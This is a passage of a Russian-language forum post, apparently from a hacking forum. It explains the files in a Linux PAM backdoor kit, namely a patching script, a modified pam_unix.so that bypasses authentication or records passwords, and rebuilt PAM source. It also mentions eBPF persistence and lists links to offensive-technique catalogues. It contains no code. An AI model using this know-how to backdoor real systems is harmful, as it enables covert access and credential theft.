3. Техники и файлы в твоем примере:​


  • backdoor.sh — скрипт, который, вероятно, выполняет патчинг или замену файлов, установку вредоносных модулей и других компонентов для внедрения backdoor.
  • pam_unix.so — это динамическая библиотека для PAM, которая отвечает за проверку традиционных паролей. Если ты заменишь эту библиотеку на измененную версию с "backdoor", она будет работать как обычная, но с дополнительными уязвимостями (например, пропуская аутентификацию или записывая пароли в ненадежное место).
  • linux-pam-1.4.0 — это исходный код версии PAM. Ты используешь исходники для того, чтобы изменить или повторно собрать библиотеку с нужными патчами, возможно, чтобы добавить уязвимость или изменить поведение модулей аутентификации.
  • README.md и LICENSE — стандартные файлы с документацией и лицензией, которые, вероятно, используются для объяснения того, как работать с этим проектом или для обозначения условий лицензирования (особенно важно в контексте распространения модифицированных версий).


Патчинг PAM и замена модулей — это один из способов обхода стандартных механизмов аутентификации. Это может быть использовано злоумышленниками для создания скрытых точек входа в систему.
Закрепление через eBPF — очень мощная техника, которая требует высокой квалификации для использования, но также может быть использована для скрытного внедрения вредоносного кода на уровне ядра системы.


Полезные ссылки для дополнительного изучения

https: //lolrmm.io/
https: //gtfobins.github.io/
https: //lottunnels.github.io/

LOLBAS

Не удалось прогрузить медиа
 lolbas-project.github.io
https: //lolc2.github.io/
https: //www.loobins.io/
https://xcellerator.github.io/posts/linux_rootkits_01/(part 01-08)
👍54 😁11 👏17 💯11
Интересно, где-то с полугода назад экспериментировал с вебшелламы под линухи с edr, что-то получалось

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.